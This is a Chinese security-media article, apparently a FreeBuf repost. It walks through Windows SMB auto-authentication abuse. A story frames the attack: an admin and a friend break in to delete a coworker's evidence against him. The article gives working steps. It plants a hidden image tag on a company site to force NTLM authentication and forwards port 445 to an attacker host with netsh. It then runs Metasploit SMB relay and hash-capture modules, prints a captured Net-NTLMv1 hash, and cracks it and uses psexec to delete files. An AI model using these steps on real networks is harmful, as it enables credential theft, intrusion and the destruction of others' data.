微信号:freebuf

介绍:国内关注度最高的全球互联网安全新媒体

内网穿透Windows(SMB)自认证的利用

2019-04-23 18:37

SMB又名网络文件共享文件,顾名思义其作用是用于用户与服务端之间的文件交互。默认端口为139,445。SMB的认证过程在这里就不重复描述了,具体可以看我上一篇写的文章,路由器抓包分析之SMB篇。在认证的时候细心的同学一定会发现在Windows下访问SMB服务器会默认使用当前用户hash去向SMB服务器发起认证。下面的实验便与这个机制有关。

实验环境:

windows 7 (smb server)               192.168.0.100

window7(bob管理的网站)              192.168.0.2

kali(攻击机/路人甲)                         192.168.0.122(因为懒直接用同一网段IP了,大家可以假装这台是外网机器)

实验模拟:Bob是公司网站管理员,一天同部门的Alice发现Bob跟Boss老婆有一腿,决定向BOSS举报。并把证据上传到了SMB服务器,Bob知道后急忙到SMB服务器上查看,结果发现自己没有权限访问,于是急忙向好哥们路人甲救助。路人甲知道情况后一阵思考,决定用SMB中继来窃取凭证登陆SMB服务器,简单画一下原理图。

正常认证

如图1为正常认证过程。

中继认证

如图2所示为以bob的网站服务器作为攻击机,但是服务器上存在杀毒软件,所以失败。

穿透内网中继认证

如图3所示为以Bob的服务器为代理,把服务器的445端口转发到外网VPS,再以VPS为攻击机进行中继攻击。

首先在公司主页上插入一段JS<img src=//192.168.0.2 hidden="看不见我">。因为Bob是网站管理员所以插入代码并不难,192.168.0.2是Bob管理的网站服务器,在Bob的公司每个人上班都需到官网打卡签到,前面也说到了SMB自动认证的机制,所以只要员工用IE(chrome和firefox亲测无效)访问公司官网就会进行自动认证。

原本想在网站服务器上直接装msf完成攻击的,但是Bob公司买了某60牌的杀毒软件。一装就会触发警报,所以路人甲决定把端口转发出来。

由于445是默认端口,要转发出来首先要停用服务。

Bob's web server配置:

打开注册表,在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\NetBT\Parameters中添加SMBDeviceEnabled并设置值为0:

更改注册表

接着打开服务,找到server项,停止server服务,并在属性更改启动类型为禁用。

服务

重启后就会发现445端口被关闭了。接着就可以把445端口转发至外网。

管理员运行:

netsh interface portproxyadd v4tov4  listenport=445connectaddress=192.168.0.122 connectport=8080

端口转发

外网VPS/攻击机上配置:

启动msf

use exploit/windows/smb/smb_relay set smbhost 192.168.0.100 set srvport 8080
这里少了一步内网转发,可以用ants,ew,lcx,web代理等等等把内网代理转发到外网。

配置msf

接着运行等待,果不其然,在第二天早上所有员工打卡之后,终于抓到了有权限登陆SMB服务器的hash并进行中继,拿到了smb服务器的权限,成功删除了证据。

成功拿到SMB服务器权

实验模拟2:

上面说到Alice发现Bob与BOSS老婆有一腿,然后Alice把证据上传到了SMB服务器准备举报,在Bob的好哥们路人甲的帮助下删除了证据。但是Bob仍旧担心Alice的PC机内会存有证据的备份,Bob只能继续救助自己的好哥们路人甲。

路人甲通过Bob知道了Alice在内网的IP为192.168.0.3。首先路人甲用smb_touch扫描192.168.0.3的445端口,发现Alice的PC竟然用的是XP,都2019了竟然还有人用XP。既然能访问445还是XP系统直接使用永恒之蓝对其进行攻击,发现攻击失败。背后通过Bob得知全公司的内网PC都安装了某60的杀毒软件。

未命名

某60为XP保驾护航,既然安装了某60的杀毒软件,许多攻击都无法进行,只能另想办法,于是路人甲便想到了把自己的攻击机伪 装SMB服务器,让其他用户向其认证进行抓取hash。原理图2所示:

原理图

Bob web server 配置:

1.在Web首页上加上js代码

2.关闭445端口,将445端口转发到192.168.0.122的8080端口。(因为装了某60杀毒软件,需要转发端口到外网,具体操作见上一篇文章)。

路人甲VPS:

启动msf并配置:

use auxiliary/server/capture/smb set srvport 8080 exploit

msf配置

如图11所示这里我们可以看到配置中有challenge这一项,这里之所以把challenge设为1122334455667788是因为已经有人通过这个挑战值生成了彩虹表,这样可以减少跑hash所花费的时间。

配置完之后只需静静等待Alice明天打卡上班就可以抓到她的hash了。

成功抓取hash

通过组合hash得到Net-ntlmv1:

Administrator::FUCK1:6822b126aac81581dbcc3576a52dc4612f85252cc731bb25:a77b6fbd0247c656be59e409ae3a01c07ca6bbc11dec9322:1122334455667788
接着把hash扔进hashcat跑出明文密码,利用psexec通过445端口对Alice机子进行命令执行,然后全盘搜索,成功删除了证据文件。

*本文作者:꧁,转载请注明来自FreeBuf.COM



 
FreeBuf 更多文章 给CSO的三句话 | 企业风险自评框架 电商平台云集话费充值活动遭薅羊毛事件分析 UC浏览器被曝中间人攻击漏洞;个人简历已成数据黑产一环 | BUF大事件 企业安全架构体系的现状和解决方案 记一次入侵应急响应分析
猜您喜欢 刘挺教授担任首席科学家,哈工大SCIR十八年技术转入,这是又一只独角兽吗? Android开发必备!《阿里巴巴Android开发手册》抢鲜下载! 【强推】优雅高效地数据挖掘——基于Python的sklearn_pandas库 「直播再开」 有限的两小时,无限的第三方动画库使用技能get AI 还能修长城?!